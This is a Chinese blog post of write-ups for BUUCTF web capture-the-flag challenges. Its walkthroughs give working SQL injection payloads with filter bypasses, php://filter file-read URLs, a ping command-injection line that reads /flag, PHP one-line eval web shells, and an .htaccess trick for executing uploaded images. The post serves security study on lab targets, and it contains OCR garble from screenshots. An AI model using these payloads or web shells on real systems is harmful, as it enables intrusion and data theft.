## BUUCTF web部分题(二)

## 原创

yqdidy ● 于 2021-04-01 20:53:02 发布 ● 522 ☆ 收藏 文章标签: <u>信息安全</u> 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/yqdid/article/details/106045036</u> 版权

#### 目录

[极客大挑战 2019]EasySQL

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Secret File

[极客大挑战 2019]Knife

[ACTF2020 新生赛]Exec 1

[极客大挑战 2019]PHP

[ACTF2020 新生赛]Include

[极客大挑战 2019]BabySQL1

[极客大挑战 2019]Upload

[MRCTF2020]你传你□呢

## [极客大挑战 2019]EasySQL



这是一道sq 注入题 ,有用户登录界面,根据之前做sqli\_labs的经验,先尝试admin账户。 嗯...不出意料



然后我在用户名输入框内尝试sq注入: admin' or 1=1# 页面无回显,但是没有报错 接着我试了试order by 语句 发现有报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'order by 3 #' and password='admin'' at line 1

SO TO WORK, GET MARRIED

https://blog.csdn.net/yqdid

仔细一看,发现报错语句中有"and password='admin' at line 1"; (直觉)然后我在密码一栏进行注入: admin' or 1=1 #





## [极客大挑战 2019]LoveSQL

又是一道SQL注入题





- 2、经测试注入类型为单引号字符型注入,使用order by语句 查询字段数
- 1' order by 4#



- 3、使用union 联合查询查看回显点位,可知回显点位为2,3。
- 1' union select 1,2,3#



4、查询当前数据库名 1' union select 1,2,database()#



得到数据库名为"geek"

5、查询表名: 1' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema=database()#



得到两个表名:geekuser 和 l0ve1ysq1

6、挨着来爆字段名 先试试lOve1ysq1表: 1' union select 1,2,group\_concat(column\_name) from information\_schema.columns where table\_name='l0ve1ysq1'#



得到 id username password

7、爆具体数据 1' union select 1,2,group\_concat(concat\_ws("~",username,password)) from geek.l0ve1ysq1#

Hello 2! Your password is 'cl4y-wo\_tai\_nan\_le.glzjin-glzjin\_wants\_a\_girlfriend,Z4cHAr7zCr~biao\_ge\_dddd\_hm,0xC4m3l~linux\_chuang\_shi\_ren,Ayrain~a\_rua\_rain,Akko-9a93-4662-9d7c-ef3fca432a6b} https://blog.csdn.net/yqdid

发现了flag 但是不好复制,于是查看源码 得到flag:

r,flag~flag{6730137e-9a93-4662-9d7c-ef3fca432a6b}'

### [极客大挑战 2019]Secret File



1、直接先查看源码,发现了可用信息

```
<title>绝密档案</title>
```

(/ neau/

<div style="position: absolute;bottom: 0;width: 99%;"></body>

 $\langle html \rangle$ 

https://blog.csdn.net/yqdid

2、想直接进入action.php ,但是页面直接跳转了end.php 页面action.php 看不到,这里面肯定有东西



3、于是想到启动burpsuite 抓包,看到了

#### action.php页面的内容

Jurp Intruder Repeater Window Help								
Target Proxy Spider Scanner Intruder Repeater Sequence	r Decoder	Comparer	Extender	Project options	User options	Alerts		
1 ×								
Go Cancel <   * >   * Follow redirection	)						Target: http://35cdb060-fb2d-40c7-;	
Request				Response				
Raw Headers Hex				Raw Head	ers Hex H	TML Re	ender	
GET /action.php HTTP/1.1 Host: 36cdb060-fb2d-4007-a266-fc8b26181a76.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/201001 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ Accept:Language: zh-CN,zh:q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en: Accept:Encoding: gzip, deflate Connection: close Referer: http://35cdb060-fb2d-40c7-a266-fc8b26181a76.node3.buuoj.cn/Arch Upgrade-Insecure-Requests: 1	01 Firefox/78.0 ;q=0.8 =0.2 ve_room.php			HTTP/1.1 302 F Server: openresty Date: Mon.06 JJ Content-Type: te Content-Length: Connection: clos Location: end.pl X-Powered-By: P // cl- secr3t.php // fhtml>	ound y ul 2020 15:47:4 x0thml; charset 63 se up HP/7.3.11	7 GMT ⊨UTF-8		

```
(\leftarrow) \rightarrow  C (\diamond)
                             🛈 🔏 35cdb060-fb2d-40c7-a266-fc8b26181a76.node3.buuoj.cn/secr3t.php
                                                                                                                       驟 … ☆
<html>
         <title>secret</title>
         <meta charset="UTF-8">
<?php
        highlight_file(__FILE__);
        error_reporting(0);
        $file=$_GET['file'];
        if(strstr($file, "../")||stristr($file, "tp")||stristr($file, "input")||stristr($file, "data")){
                 echo "Oh no!";
                 exit();
        }
         include($file);
//flag放在了flag.php里
?>
</html>
```

https://blog.csdn.net/yqdid

根据注释 直接进入flag.php ,但是却看不到 ,查看源码也没有flag



根据提示flag确实是在这里,但是前端却看不到,猜测flag是写在了后端php代码里面

5、重新返回secr3t.php再看,发现这里有一个文件包含漏洞,传入的file经过了一些过滤,但是没有过滤filter 看到其他博主都用到了php://filter 来获取文件 那首先去了解一下 php://filter文件包含漏洞相关知识 php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。

对于那些一体式的文件函数有用,比如readfile,file().CTF中很常见的就是file\_get\_contents(),file\_put\_contents(),include() 例如:

网址+/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

首先这是一个file关键字的get参数传递,

php://是一种协议名称, php://filter/是一种访问本地文件的协议,

/read=convert.base64-encode/表示读取的方式是base64编码后,

resource=index.php表示目标文件为index.php。

## 参数:

名称	描述
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称,以管道符())分隔。
write=<写链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称,以管道符())分隔。
<;两个链的筛选列表>	任何没有以 read=或 write= 作前缀的筛选器列表会视情况应用于读或写链。

构造URL: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php



这里的flag.php 用了base64加密,于是复制到在线解密工具(比如站长工具)里去解密就可以拿到flag

	^	PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV	レクロ
php<br echo "我就在这里"; \$flag = 'flag(6e3807c2-af37-4a83-be73-b9ac0e0aee76)'; \$secret = 'jiAng_Luyuan_w4nts_a_g1rlfri3nd' ?> 	ŭ	0rSbJaGryczv0rSJ1aGrt0CI+CIAgICAğICAğICHXpdXJI/kZviQU28L3KpdXJI/gogIC AgPC9oZWFkPgoKICAgIDxib2RSIHN0eWxIPSJi/WNrZ3JvdWSkLWNvbG9yOmJsYW NrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgICAgICAgICAgPGgxIHN0e WxIPSJmb250LWZhbWIseTp2ZXJkYW5hO2NvbG9yOnJIZDt0ZXh0LWFsaWduOmNI bnRIcjsiPuWViuWTiO+8geS9oOaJvuWIsOalke56hu+8geWPr+aYr+S9oOeci+S4jeW IsOalkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgICAgICAgICAgPGgxIHN0e USAlkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgICAgICAgICAgPGgxIHN0e 02Xh0LWFsaWduOmNIbnRIcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA	下顶部

□ 多行 Base64加密 Base64解密 清空结果



https://blog.csdn.net/yqdid

如题 还真是白给的shell 简单 连接菜刀 直接获取shell

🗀 /					土 🖌 读取
111. 73. 46. 229	目录(20),文件(2)	名称	时间	大小	属性 1
⊟ 🥯 🖊		🛅 dev	2020-07-07 03:17:02	340	0755
- un var		🛅 etc	2020-07-07 03:17:02	66	0755
🗁 html		🛅 home	2014-04-10 22:12:14	6	0755
🚞 bin		🛅 lib	2016-07-11 23:23:25	208	0755
🚞 boot		🛅 lib64	2016-07-11 23:23:12	34	0755
ietc		🚞 media	2016-07-11 23:22:49	6	0755
🚞 home		🚞 mnt	2014-04-10 22:12:14	6	0755
🚞 1ib		🛅 opt	2016-07-11 23:22:49	6	0755
ib64		🚞 proc	2020-07-07 03:17:02	0	0555
ineara		🚞 root	2016-07-11 23:23:35	37	0700
🚞 opt		🚞 run	2019-11-19 09:30:15	33	0755
🚞 proc		🚞 sbin	2016-07-22 15:18:57	44	0755
i root		🚞 srv	2016-07-11 23:22:49	6	0755
🚞 sbin		🚞 sys	2020-05-05 12:23:44	0	0555
🚞 srv		🚞 tmp	2020-07-07 03:17:04	6	1777
i sys		🫅 usr	2016-07-22 15:18:57	81	0755
imp isr		🧰 var	2019-11-19 09:28:18	28	0755
🚞 data		🛅 data	2019-11-19 09:22:33	21	0755
		flag	2020-07-07 03:17:04	43	0644
		dockerenv	2020-07-07 03:17:02	0	https://blo9.5551n.net/yottfd

#### 发现flag文件 打开直接得到flag



## [ACTF2020 新生赛]Exec 1

根据命令的用法, command1& command2 先执行命令2后执行命令1, 于是可以利用这点查询想要的信息。 1.ping一个127.0.0.1&ls/可以查看目录

$\leftarrow$ $\rightarrow$ C $\textcircled{a}$	0 🔏	c5c2e6c9-abd4-414c-b7eb-6206fc3ea6f7.node3. <b>buuoj.cn</b> /index.php	8
PING			
请输入需要ping的地址			
PING			
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var			
PING 127.0.0.1 (127.0.0.1): 5	5 data b	ytes	

2. 发现flag,用 cat命令查看 cat /flag



127.0.0.1& cat /flag

PING

flag{7aaa4ab5-3b26-4631-97ad-6a170eb3fa5e}
PING 127.0.0.1 (127.0.0.1): 56 data bytes

https://bloc.csdn.net/vadid-

## [极客大挑战 2019]PHP

#### 🕖 🔏 b524b6bb-aab2-4aa7-be91-f435d8d52bbe.node3.buuoj.cn



## [ACTF2020 新生赛]Include

## 1.可以考虑 php://input 伪协议 ,然后用POST发送PHP代码,把需要执行的内容放到post中 具体原理看这里文件包含漏洞的详解

但是这题过滤了

(←) → C <sup>(h)</sup> (↓) ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
--

hacker!

2.PHP伪协议利用来读取网站源码: ?file=php://filter/read=convert.base64-encode/resource=flag.php

# 这样就能得到base64编码后的flag.php源码而不执行PHP文件: 解码后可以得到flag ( ) \* C ① ② bf9cff52-51f0-41db-9312-1b4ae2b3e93e.node3.buuoj.cn?file=php://filter/read=convert.bas : ① ・ ① ・ ① ・ ① ・ ① ・ ① ・ ① ・ ① ・ PD9waHAKZWNobyAiQ2FullHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MzUyNmU0YmltNDgxYS00MDQwLWI5YWltMzM4Y2FiZDYxMzJkfQo=

Execute
 Post data Referer User Agent Cookies
 Clear All

//flag{3526e4bb-481a-4040-b9ab-338cabd6132d}

https://blog.csdn.net/yqdid

## [极客大挑战 2019]BabySQL1

👷 Split URL

首先查询注入点,随便注释一下没想到就登陆绕过了。但是这没什么用。



Login Success! MARRIED GET SO TO WORK. TAXES PAY YOUR HAVE SOME KIDS. WATCH YOUR TV NORMAL ACT ASHIO N OW Hello admin! E Your password is REPEA AND 270059fa 22ce93bf17e904a53bb

//blog.csdn.net/v

尝试 admin' order by 1# 发现order 只剩下了 der 过滤了or??



再经过尝试 发现过滤了 or union select from information 采用双写绕过。

爆数据库 password=admin' uniunionon selselectect 1,2,group\_concat(schema\_name) frfromom

infoorrmation schema.schemata #



#### 爆表

?username=admin&password=admin' uniunionon selselectect 1,2,group\_concat(table\_name) frfromom infoorrmation\_schema.tables whwhereere table\_schema=database()#



#### 爆表b4bsql中的数据

?username=admin&password=admin' and uniunionon selselectect 1,2,group\_concat(column\_name) frfromom infoorrmation\_schema.columns whwhereere table\_schema=database() anandd table\_name='b4bsql'#



#### 爆字段内容

?username=admin&password=admin' and uniunionon selselectect 1,2,group\_concat(concat\_ws("~",





在网页看不全flag 查看源码之后就可以看到了:

nub, Stop you\_found\_flag\_so\_stop, badguy i\_told\_you\_to\_stop, hacker hack\_by\_cl4y, flag flag {6fd85e56-96b8-49d7-9b9a-ac0077e318b3}'

https://blog.csdn.net/vadid

## [极客大挑战 2019]Upload

1.先尝试上传包含一句话木马内容的图片 <?php @eval(\$\_POST['aaa']); ?> 发现"<?"被过滤了</p>



#### 2.用js脚本绕过:

<script language = 'php'>@eval(\$\_POST[aaa]);</script>

# Don't lie to me, it's not image at all!!!

https://blog.csdn.net/yqdi

#### 3.用burpsuite抓包改包添加文件头绕过再修改文件类型为可读取的php类型

这里过滤了php5/php3/php/php4 未过滤的是phtml



#### 4.上传加连按来刀,获取shell

	🔲 📋 c58f131a-63bd-4a2 +					> = 🗖 🗙 :
	🚞 /var/www/html/upload/				土 🖌 读取	星期日 2020-10-18 九月初二
ļ	111.73.46.229 目录(0),文件(96)	名称	时间	大小	属性	▲ □ □ 站点类别
1		htaccess	2019-10-31 05:00:36	167	0644	III 默认类别 Tyme1
		🗋 . htaccess	2019-11-05 14:18:06	75	0644	② 日程提醒
Ì	🗆 🧰 html	🗋 . htaccess_	2019-10-31 13:39:08	235	0644	🔄 快捷方式
Ì	🗁 upload	되다. s	2019-11-02 09:36:54	44	0644	-
1		📄 . sh. php. php888. swp	2019-11-10 10:12:00	12288	0644	
1		📓 . user. ini	2019-11-03 09:55:58	41	0644	
đ		zzz	2019-10-31 04:58:32	184	0644	
		🔋 0b46£21£be096b639c£5b75e0c338744ea£	. 2019-11-15 06:36:44	5820	0644	
Ű		📔 1. jpg	2019-11-06 00:19:38	3884	0644	
)		🗋 1.jpg' and sleep(5) -+	2019-11-06 00:20:12	3884	0644	
;(		🗋 1.jpg' and sleep(5)#	2019-11-06 00:20:20	3884	0644	
		1.jpg3154	2019-11-06 00:19:46	3884	0644	
1		📔 1. php. gif	2019-11-11 14:12:34	4820	0644	
ť		1. php. xx	2019-11-11 14:04:44	117	0644	
		1. php7	2019-11-06 00:39:52	3884	0644	
		1. phtml	2019-11-12 13:10:32	1192	0644	
1		📔 123. jpg	2019-11-15 12:43:56	1239	0644	
ď		🗋 123. jpgs	2019-11-10 13:21:58	46	0644	
		123. phtml	2019-11-11 05:09:24	53	0644	
1		123456. php	2019-11-15 10:20:58	18127	0644	*
						https://blog.cod/GB2312

#### 5.在根目录下找到flag

c58f131 a	-63bd-4a2	l a-63bd-4a2 +				
					土 🖌 读取	星
111. 73. 46. 229	目录(20),文件(2)	名称	时间	大小	属性	1 🗆 🖸
🚞 lock		1 🛅 dev	2020-10-18 11:09:29	340	0755	
🛄 run 🥅 lib		🚞 etc	2020-10-18 11:09:28	66	0755	0
a local		🚞 home	2014-04-10 22:12:14	6	0755	l l
Callog		🧀 1іЪ	2016-07-11 23:23:25	208	0755	Ŀ
i mail		🚞 lib64	2016-07-11 23:23:12	34	0755	
i spool		— 🚞 media	2016-07-11 23:22:49	6	0755	
🚞 tmp		🚞 mnt	2014-04-10 22:12:14	6	0755	
🛅 bin		🚞 opt	2016-07-11 23:22:49	6	0755	
i dev		🚞 proc	2020-10-18 11:09:29	0	0555	
🚞 etc		🚞 root	2016-07-11 23:23:35	37	0700	
🚞 home		🚞 run	2019-11-19 09:37:37	33	0755	
Lib		🔁 shin	2016-07-22 15:18:57	44	0755	

11004	
👝 media 🗋 srv 2016-07-11 23:22:49 6 0755	
🗀 mat 🗋 sys 2020-08-30 02:38:45 0 0555	
i opt i tmp 2020−10−18 11:44:55 6 1777	
□ proc □ root □ □ usr 2016-07-22 15:18:57 81 0755	
🗀 run 🗀 var 2019-11-19 09:36:43 28 0755	
□ sbin □ data 2019-11-19 09:32:55 21 0755	
□ srv □ flag 2020-10-18 11:09:30 43 0644	
imp         imp         2020-10-18 11:09:28 0         0755	Votici

6、将flag下载到本地改后缀txt直接打开就可以看到了

www.		
	TIACI TYT	
	nag.trt	11777

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

## flag{a10ed227-d39c-4fe4-8221-0c29dc490083}

## [MRCTF2020]你传你□呢

和上面一道题都是文件上传类型的

1.先试试上传一句话木马的php文件,发现过滤了php文件
 (←) → C 命
 ② 2 11e7acc3-f89a-4469-b944-b6b3b05307ed.node3.buuoj.cn/upload.php

### 我 your problem?

https://blog.csdn.net/yqdid

依次尝试php/php3/php/5/phtml 发现都被过滤了

2,改后缀上传jpg文件就成功了		
← → C' û	🖸 🔏 11e7acc3-f89a-4469-b944-b6b3b05307ed.node3. <b>buuoj.cn</b> /upload.php	88

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23 /var/www/html/upload/e212016b5b8997dab70c4c6966046503/eval.jpg succesfully uploaded!

3.可以先上传一个\*\*.htaccess\*\* 文件,用来把jpg文件解析成php文件,接下来再上传jpg文件就可以直接当成php文件解析了.htaccess 文件代码为:

AddType application/x-httpd-php .jpg

直接上传.htaccess 会上传失败 所以改用burpsuite 抓包改包,将Content-Type 内容改成 image/jpeg 即可





4.接下来上传包含一句话木马内容并且后缀为.jpg的文件

#### **Narning**: mkdir(): File exists in **/var/www/html/upload.php** on line **23** var/www/html/upload/e212016b5b8997dab70c4c6966046503/eval.jpg succesfully uploaded!

#### 1 🗍 🛅 11e7acc3-f89a-446... + ± 🗸 👘 读取 ٠ 名称 时间 大小 属性 $\Box$ 111.73.46.229 目录(19), 文件(3) ] 🥪 🖊 🚞 dev 2020-10-18 21:19:11 0755 340 🗆 🚞 var 2020-10-18 21:19:10 🚞 etc 66 0755 🖃 🧰 www 🚞 home 2016-05-30 13:18:56 0755 🖃 🚞 html 6 🖃 🚞 upload 🚞 lib 2016-07-14 09:31:44 30 0755 🗁 e212016b5b8997dab70c4c69 🚞 lib64 2016-06-09 01:28:38 34 0755 🚞 bin 2016-06-09 01:28:25 0755 🚞 media 6 🚞 boot 🚞 dev 🚞 mnt 2016-06-09 01:28:25 0755 6 🚞 etc 🚞 opt 2016-06-09 01:28:25 6 0755 🚞 home 2020-10-18 21:19:11 0 0555 🚞 proc 🚞 lib 🚞 lib64 2016-06-09 01:28:25 37 0700 🚞 root 🚞 media 2016-07-14 09:31:55 0755 🚞 run - 33 🚞 mnt 🚞 sbin 2016-06-09 01:29:23 4096 0755 🚞 opt 🚞 srv 2016-06-09 01:28:25 6 0755 🚞 proc 🚞 root 🚞 sys 2020-08-30 11:38:45 0 0555 🚞 run 2020-10-18 22:13:58 231 1777 🛅 tmp 🚞 sbin 2016-07-17 02:51:31 19 0755 🚞 srv 🧰 usr 🚞 sys 2016-07-17 02:50:38 0755 17 🚞 tmp flag 2020-10-18 21:19:13 43 0644 🚞 usr 0755 docker en 2020-10-18 21:19:10 0 core 2016-07-14 10:20:03 393216 0600

5.连接菜刀,获取shell 在根目录下可以看到flag

2020-10-18